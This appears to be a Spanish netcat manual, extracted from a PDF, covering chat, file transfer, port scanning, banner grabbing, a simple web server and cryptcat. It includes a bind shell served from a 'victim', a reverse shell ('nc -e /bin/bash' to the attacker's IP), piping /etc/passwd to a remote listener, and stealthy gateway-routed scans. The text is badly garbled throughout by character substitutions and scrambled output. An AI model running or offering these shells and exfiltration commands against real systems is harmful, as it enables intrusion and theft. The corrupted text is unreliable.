Está en la página 1de 8

NETCAT

1. Descripcin
Netcat es una utilidad imprescindible para todo profesional de la seguridad. Es denominada la
"navaja suiza de la seguridad de red" porque sirve para innumerables cosas.
Fue creada en 1995 por "El Hobbit" !obbit"avian.org#. $a versi%n original fue desarrollada para
sistemas &ni' ( $inu' pero )eld *ond +eld"l,p!t.com# desarroll% la versi%n para )indo+s N-
en 199.. El c%digo fuente de ambas versiones est/ disponible.
No tiene interfaz gr/fica. 0e utiliza desde l1neas de comandos.
url2 netcat.sourceforge.net
2. Utilidades
1. 3!at.
4. Enviar ( recibir fic!eros.
5. Escanear puertos.
6. 3aptura b/sica de banners.
5. 0ervidor )eb.
7. 3onseguir una s!ell de forma directa o inversa#.
2. 1. Chat
En una de las m/quina ponemos el netcat en modo servidor8 a la escuc!a. En la otra8 lo ponemos
en modo cliente.
0ervidor2 nc 9l 9p 5,,,
3liente2 nc :ip;servidor< :puerto;servidor<
nc Net3at
9l =ndica al netcat que debe actuar como un servidor8 es decir8 debe poner a la escuc!a un
puerto Modo Servidor#
9p =ndica el puerto por el que ponemos el servidor a la escuc!a. 0i no se pone8 netcat
selecciona un puerto que est> libre de forma aleatoria. Es recomendable usar un puerto
superior al 1,46.
3uando lanzamos el netcat en modo cliente8 este act?a como lo !ace un telnet. @e !ec!o8 se
podr1a lanzar la m/quina cliente con un telnet telnet :ip;servidor< :puerto;servidor<#.
*odemos comprobar8 !aciendo un netstat8 como aparece un nuevo proceso escuc!ando por el
puerto 5,,, por todas las interfaces ,.,.,.,25,,,#.
0i se quiere !acer la cone'i%n utilizando el protocolo &@* en vez de -3*8 se aAade tanto a cliente
como a servidor el par/metro -u. Ejemplo2
nc 9l 9u 9p 5,,, BBC/quina 0ervidor
nc 9u :ip;servidor< 5,,, BBC/quina 3liente
*ara cerrar la cone'i%n entre el cliente ( el servidor !a( que pulsar 3trl D 3 en cualquiera de las
consolas. Eer/s entonces que ambas se cortan. Esto se debe a que netcat en modo servidor tiene
una limitaci%n que es que s%lo admite una cone'i%n al mismo tiempo.
0i se desea guardar la informaci%n de la conversaci%n mantenida8 bastar/ con utilizar el
par/metro -o fichero. Este par/metro genera un log de las actividades del netcat en c%digo
He'adecimal. Ejemplo2
0i luego editamos file$og vemos lo siguiente2
El s1mbolo indica F@e la redG. El s1mbolo ! indica F*ara la redG.
2. 2. Enviar " #eci$ir %icheros
*ara pasar un fic!ero de un cliente al servidor8 !a( que !acer lo siguiente2
*onemos el servidor a la escuc!a2
nc 9l 9p 5,,,
*asamos el fic!ero desde el cliente al servidor2
nc :ip;servidor< :puerto;servidor< BetcBpass+d
Htra forma de pasar el fic!ero desde el cliente2
cat BetcBpass+d I nc :ip;servidor< :puerto;servidor<
3on este proceso8 se mostrar1a el fic!ero de contraseAas en el servidor. 0i queremos que ese
fic!ero se almacene8 en vez de ser mostrado8 deber1amos lanzar el servidor as12
nc 9l 9p 5,,, < B!omeBloreta!urBprueba
J!ora tenemos en el servidor un fic!ero llamado prueba en B!omeBloreta!ur que contiene las
contraseAas de la m/quina cliente su fic!ero BetcBpass+d#.
-ambi>n se puede pasar el fic!ero del servidor al cliente de la siguiente forma2
cat BetcBpass+d I nc 9l 9p 5,,, BBC/quina 0ervidora
nc local!ost 5,,, BBC/quina 3liente que recibe el arc!ivo
2. &. Escanear 'uertos
*ara escanear los puertos de una m/quina !a( que ejecutar2
nc 9z 9v 9+5 :m/quina< :rango;puertos<
9z Escanear puertos
9v Codo verbose. 0i s%lo se pone una v8 se mostrar/n los puertos abiertos de la
m/quina escaneada.
0i se pone -vv8 se mostrar/n todos los puertos escaneados8 indicando para
cada uno si est/ abierto o cerrado
:rango;puertos< 0e debe introducir de qu> puerto a qu> puerto se quiere escanear
Ejemplo2 191,46. 1 ( 1,46 tambi>n incluidos en el escaneo#
-ambi>n se puede poner s%lo los puertos que se quiere escanear.
Ejemplo2 nc 9z 9v local!ost 45 41 ., BBEscanea s%lo los puertos 458 41 ( .,
9+ :segundos< Especifica un tiempo para terminar. 3on esta opci%n le especificas un
tiempo determinado para realizar cone'iones
0i quisieramos enviar los resultados del escaneo a un fic!ero deber1amos !acerlo as12
nc 9z 9vv :ip;maquina< 195,,, 2! fic!ero
0e utiliza el 2! porque la salida del escaneo no es la est/ndar8 sino que es la salida de errores
0-@EKK#.
0i no se introduce ning?n par/metro m/s8 se escanean los puertos -3*. 0i lo que se quiere es
escanear los puertos &@*8 !abr/ que aAadir el par/metro 9u.
0i se desea !acer un escaneo de puertos paranoico8 es decir8 que va(a comprobando cada puerto
cada muc!o tiempo para que no seamos detectados8 se puede incluir el par/metro -i.
3on este par/metro podemos indicar cada cuantos segundos debe netcat escanear un puerto.
Ejemplo en el que se escanear/ cada 1, segundos un puerto2
nc 9z 9vv 9i 1, local!ost 191,46
0i adem/s le aAadimos el par/metro -r8 le estaremos indicando que !aga un escaneo de puertos
aleatorio genera un patr%n ramdom de puertos locales o remotos#. Esto es mu( ?til para evitar
patrones l%gicos de scanning.
0i queremos evitar mostrar la =* fuente del 0canning deberemos utilizar gate+a(s par/metro -(
(ate)a"!#. Esta es una de las opciones m/s interesantes de netcat8 que permite utilizar Kouters
como "puentes" de cone'i%n.
2. *. Captura $+sica de $anners
J veces es interesante observar los mensajes de bienvenida de diferentes servicios que corren en
m/quinas para obtener datos relevantes sobre ellas que 0istema Hperativo utiliza8 que tipo de
servidor es8...#.
*ara ello8 utilizaremos netcat de la siguiente forma !ace el mismo papel que un telnet#2
nc :ip;m/quina< :puerto;servicio<
Ejemplo2
loretahur:~# nc pc-web.dominio.com 80
ECHO / HTTP:1.0
HTTP/1.1 400 Bad Request
Date: Mon, 02 Au 1!!! 0!:2":2" #MT
$er%er: A&a'he/1.".2( )*n+,- De.+an #/*/0+nu,
1onne't+on: 'lose
1ontent2T3&e: te,t/ht4l5 'harset6+so2778!21
9:D;1T<P= HTM0 P*B0>1 ?2//>=T@//DTD HTM0 2.0//=/?A
9HTM0A9H=ADA
9T>T0=A400 Bad Request9/T>T0=A ...
9/B;D<A9/HTM0A
El par/metro 9n fuerza al netcat a aceptar s%lo direcciones =* num>ricas ( a no !acer uso del @N0
para nada. Netcat tiene la facultad de resolver nombres de dominio mediante un @N0 $ooLup8 con
esta opci%n le especificamos que no lo !aga8 ( use solamente direcciones =*.
2. ,. Servidor -e$
0i lanzas en una consola el siguiente comando8 servir/s de forma puntual un solo fic!ero !tml2
nc Ml Mp ., :NombreJrc!ivo.!tml
-endr/s un servidor +eb en tu m/quina que servir/ la p/gina especificada NombreJrc!ivo.!tml#
a la pr%'ima cone'i%n que se !aga a tu =* por el puerto .,. Es decir8 si despu>s de lanzar el
comando8 abres una ventana de tu e'plorador ( pones la siguiente url2
local!ost2.,NNombreJrc!ivo.!tml8 est/ se te cargar/ a partir del netcat.
El inconveniente de esto es que cada vez que se desconecte el cliente8 !abr/ que lanzar otro
nuevo netcat.
2. .. /$tener una shell directa0ente1
*ara lograr una s!ell directa8 el equipo v2cti0a tiene que ejecutar el siguiente comando2
nc 9l 9e BbinBs! 9p 7,,,
$o que !acemos aqu1 es poner en la v1ctima un servidor a la escuc!a por el puerto 7,,,8 sirviendo
para alguna cone'i%n remota el programa BbinBs!8 que es la s!ell de $inu'.
El par/metro 9e sirve para llamar a ejecuci%n un programa. Ejemplos2
9e BbinBbas! 99< Ejecutar la s!ell de $inu'
9e cmd.e'e 99< Ejecutar el int>rprete de comandos de )indo+s
loretahur:~# n' 2n%% 1"0.2(.100."C 70
)*/D/;E/- F1"0.2(.100."CG 70 )HHH- o&en
GET / HTTP:1.0
HTTP/1.1 400 Bad Request
$er%er: Microsoft-II/!.0
Date: Mon, 02 Au 2004 0!:80:2C #MT
1ontent2T3&e: te,t/ht4l
1ontent20enth: 7C
9ht4lA9headA9t+tleA=rror9/t+tleA9/headA9.od3AThe &ara4eter +s
+n'orre't.
9/.od3A9/ht4lA sent 1(, r'%d 224
El par/metro 9c !ace lo mismo que 9e pero la diferencia entre ambos es que con 9c se ejecuta
BbinBs! ( con 9e se ejecuta Bbin
&na vez !ec!o esto en la v1ctima8 nos queda conectar con ella8 desde la 0+3uina atacante. *ara
ello simplemente indicamos =* ( puerto lanzamos el netcat en 0odo cliente#2
nc 9vv :=*< :*&EK-H<
9vv Codo Eerbose. 0irve para dar m/s datos
detallados de la cone'i%n
:=*< @irecci%n =* de la v1ctima
:*&EK-H< *uerto por el que est/ escuc!ando el servidor
J!ora (a se puede ejecutar en la m/quina atacante cualquier comando porque cuenta con una
s!ell en la v1ctima.
2. 4. /$tener una shell inversa1
3on este m>todo8 es la v1ctima quien se conecta a la m/quina atacante.
En la 0+3uina atacante lanzamos el siguiente comando para que se ponga a la escuc!a por el
puerto 7,,,2
nc 9vv 9l 9p 7,,,
En la 0+3uina v2cti0a se pone el siguiente comando2
nc 9e BbinBbas! :ip;atacante< 7,,,
*or tanto8 es la v1ctima la que sirve la s!ell ( se conecta al atacante8 que estar/ escuc!ando por el
puerto 7,,, a la espera. Esto tiene las siguiente ventaja2si la v1ctima tiene una =* din/mica la =*
cambia cada ' tiempo#8 la m/quina atacante no sabr1a a que direcci%n debe conectarse. @e esta
forma8 si es la v1ctima la que se conecta al atacante8 no importa que >sta tenga diferente =*.
&. 'ar+0etros para la versin de -indo)s
9d *ermite a netcat ejecutarse en Modo encu$ierto. Esta opci%n desvincula al netcat
de la consola8 !aci>ndolo trabajar en segundo plano
9 $ 3uando la cone'i%n entre el cliente ( el servidor se termina8 el servidor es
restaurado con el mismo comando que estaba ejecutando anteriormente
*. Cr"ptcat
Esta !erramienta es la versi%n del netcat con la encriptaci%n t+ofis! de Oruce 0c!neier#
!abilitada para la transmisi%n de los datos.
0e utiliza como el netcat pero se debe introducir una contraseAa entre cliente ( servidor mediante
el par/metro 9L. Ejemplo2
C/quina servidora2
cr(ptcat 9L loreta!ur 9l 9p 5,,,
C/quina cliente2
cr(ptcat 9L loreta!ur :ip;servidor< 5,,,
Manual escrito por Loretahur (lorena@loretahur.tk)